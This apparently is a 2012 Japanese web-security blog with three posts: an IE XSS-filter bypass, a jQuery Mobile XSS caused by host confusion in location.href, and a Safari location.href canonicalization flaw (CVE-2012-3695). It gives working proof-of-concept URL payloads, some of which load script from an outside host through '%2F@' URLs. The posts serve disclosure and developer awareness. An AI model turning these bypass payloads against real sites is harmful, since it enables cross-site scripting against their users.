2012/09/25

ブラウザのXSS保護機能をバイパスする(3)

第3弾です。第1弾はこちら。第2弾はこちら

ターゲットはIEのXSSフィルターです。
今回のバイパスは、本来作成できてはならないjavascript:スキームのリンクをIEのXSSフィルターの挙動を利用して作成するという方法で行います。

いきなりですが、発見した方法はこれです。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

何がどうしてここにたどりついたのか、順に見ていきます。

IEは「<a href="javascript:alert(1)">xxx」のような文字列がクエリ文字列にあり、その文字列がページ中に出力されるなら、その出力の一部を書き換え、XSSを遮断しようとします。

http://vulnerabledoma.in/xssable?q=%3Ca%20href%3D%22javascript:alert%281%29%22%3Exxx
<a href="javasc#ipt:alert(1)">xxx

「javascript」の「r」を「#」に書き換えています。
小さくしていくと以下でも遮断されます。

 http://vulnerabledoma.in/xssable?q=javascript:1
 http://vulnerabledoma.in/xssable?q=javascript%26%23x3A%3B1
javasc#ipt:1
 「javascript」「コロン」「文字」というような組み合わせで遮断されるようです。

他の挙動も見ていきます。
IEは<script>タグの文字列リテラル中に出力されるようなXSSも遮断しようとします。

http://vulnerabledoma.in/xss_js?q=%22%3Balert(1)//
<script>var q="";alert#1#//"</script>
()が「#」に書き換えられています。
()が使えないなら、()を使わずに「";location.href='javascript:alert\x281\x29'//」とかでいけるんじゃないかと考えるのが我々XSSerです。

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href='javascript:alert\x281\x29'//
<script>var q="";lo#ation#href='javasc#ipt:alert\x281\x29'//"</script>

これもお見通しのようです。「location」の一部と、その後のドット、そして「javascript:」の部分が先ほどのように書き換えられています。

これを小さくしていくと、以下のようなものでも反応します。

http://vulnerabledoma.in/xss_js?q=%22%3Bx.x=
<script>var q="";x#x="</script>

「引用符」「区切り文字」「文字」「ドット」「文字」「=」というような組み合わせで、ドキュメント中の既存の<script>タグ内になんらかの代入を行おうとしているとみなされ、ドットが「#」に書き換えられるようです。
じゃあ「";&.x=」なんてのはどうなんでしょうか。

 http://vulnerabledoma.in/xss_js?q=%22%3B%26.x=
<script>var q="";&#x="</script>
これもドットを「#」にしています。「&#x」、おっと!何かが見えてきました!!

「&#x」という形が作れるということは、もし遮断後にaタグのhrefにこの形を配置できた場合、「&#x3A;」というような形も作れるということになります。
ボディになんの処理もなく出力されるXSSの場合に戻り、これを試してみます。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3D%22javascript%26.x3A%3Balert%281%29//=%22%3Exxx
"<a href="javascript&#x3A;alert#1#//=">xxx
おおお!javascript:という形のスキームを配置できてしまいました。
最初の「"」で区切っているフリをし、後半の「=」で代入しているフリをします。 これにより、<script>タグの文字列リテラル中の遮断ルールが発動するようにしています。

まだ()が遮断されて「#」になっているので、これらも同じようにそれぞれの()の前後に「&」「x28;/x29;」を配置して数値文字参照が現れるようにします。

 http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

"<a href="javascript&#x3A;alert&#x28;1&#x29;//=">xxx

ドカーン!

というかんじでたどりつきました。

ワンクリックで発動するリンクを作成できるようになるという点では、以前ブログに書いた同一オリジンからのリンクを作成してバイパスする方法と同等の問題にみえます。しかし、無害なものを有害なものに書き換えるという点で、以前のそれよりもタチが悪いものであると思います。

例えば以下は一応、XSSのない、ただの相対リンクが設定されただけの静的なページですが、

http://vulnerabledoma.in/ie_xssfilter.html
'<a href="javascript&.x3A;alert&(x28;1&)x29;//=">just a relative URL</a>

以下のようにURLに文字列を付加することで、XSSフィルターがjavascript:のURLに変化させてしまいます。

http://vulnerabledoma.in/ie_xssfilter.html?%27%3Ca%20href=%22javascript%26.x3A;alert%26%28x28;1%26%29x29;//=%22%3E
'<a href="javascript&#x3A;alert&#x28;1&#x29;//=">just a relative URL</a>

ただ、大抵の場合、保護すべきドメインの自由にリンクを設定できる箇所に「&」を何も手を加えず出力できるということは、「javascript&#x3A;alert(1)」というようなjavascriptを起動可能なURLを始めから設定できる可能性が高いことになる(=はじめからXSS脆弱性がある)ので、この方法によって新たにXSSが可能な穴をあけてしまうケースは、実際のところそう多くないのではないかと思います。

そうはいっても、遮断後に起きている誤りなので、明らかにXSSフィルターの欠陥であるといえます。しかも、トリッキーなものではなく、ごく普通にある脆弱パターンの遮断に失敗している点でよくありません。
改善を期待したいところです。

2012/09/06

jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

例えば、以下のようなURLでXSSが起こります。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記 1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0/#//l0.cm/jqm


2012/08/02

location.hrefの盲点

夏ということで、怖い話をします。 Webアプリケーション開発者の皆さん、聞いて下さい。
時間がない人や、他の人に問題を説明するときなどには簡潔にまとめた版をどうぞ。

 これは2011年12月27日にAppleに報告したSafariの問題です。Appleからは修正する予定はないという回答を貰っていましたが、2012年7月25日にリリースされたMacのSafari 6のアドバイザリによるとどうもMacのSafari 6では修正されたようです。

About the security content of Safari 6
http://support.apple.com/kb/HT5400
WebKit
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A canonicalization issue existed in the handling of URLs. This may have lead to cross-site scripting on sites which use the location.href property. This issue is addressed through improved canonicalization of URLs.
CVE-ID CVE-2012-3695 : Masato Kinugawa
 
Windows版Safariで確認した問題でしたが、今のところWindows版のアップデートは出ていません。Windows版が出るまでは書くのを控えるつもりでしたが、MacのSafari 6がリリースされてから1週間経ってもAppleからは出すか出さないかの告知さえ無いので、もう書いてしまいます。

このようなコードがあったとします。


http://vulnerabledoma.in/webkit_locationhref/
<button onclick="location.href=location.href">reload</button>

location.hrefにlocation.hrefを代入するだけの単純なコードです。リロードされると思うのが普通だと思います。しかしながら、Safariではそうならないときがあるのです。以下のようなURLで、example.comへとばされます。

http://example.com%2F@vulnerabledoma.in/webkit_locationhref/

なぜこんなことが起きるかというと、上のページで、document.writeされているlocation.hrefに注目してください。@の前の「%2F」が「/」にデコードされて表示されています。そうです、なんと、Safariのlocation.hrefは、ホストの前の@の前の文字列をパーセントデコードして返すのです。(@がついたURLはあまり目にしませんが、@の前には認証情報を記述することができます。)
これはつまり、location.hrefが自分と同じドメインのURLを返すことを前提に書いているコードは全て、正しく動かない恐れがあるということです。最悪の場合、XSSが起こります。実際にこの挙動によって引き起こされるXSSを、Googleのサービスでいくつかみつけています:






これはほんの一部です。location.hrefを使って取得したURLから新たに通信をしようとした時に、誤ったホストからリソースを読み込んでしまいXSSを起こしてしまうケースが多くみられました。(どれも既に修正されています。ちなみにGoogleはこれをSafariのバグとみなしているので、報酬は報告した数ではなく、この挙動の情報提供として特別に$1,000を貰っています。)

幸いSafariでは、ホストの前に@を含むURLにアクセスしようとすると、設定を変更していなければフィッシングの警告画面が出ます。よって、もしこの問題を利用したXSSのURLを踏まされても、警告が出て不安になって引き返すユーザーが多いかもしれません。しかし、これはあくまでもフィッシング警告(@の前の文字列がホストだと思わせるようにURLが細工されているかもしれないことを警告しているだけ)であり、XSSの警告ではありません。

Safariがバグとして修正したなら、Appleが自分に問題があることを認めたということで、それでよしとしたいところですが、残念なお知らせがあります。Safari Mobile/Androidの標準ブラウザもこの動きをするのです。

Android標準ブラウザで% 00-FFを@の前に配置しalert(location.href)した図。%デコードされているのがわかる。

さらに、Androidの標準ブラウザは@付きURLにアクセスする時に警告も出しません。

今この情報を出した一番の理由として、このモバイルの問題をどうやっても早急に解決できないことがあげられます。モバイル端末のアップデートは機種によりまちまちで、提供されるかもわかりません。そんな現状で、このような潜在的な問題が早く修正されるとは思えません。アプリケーション開発者で対応するしかないでしょう。

@のついたURLでアクセスされることは多くのサービスで普通はないはずなので、location.href周りのコードが動かなくなるだけなら修正するほどではないと思いますが、XSSが起きるとなれば話は別だと思います。今一度、安全ではない方法でlocation.hrefを参照していないか、確認してみてください。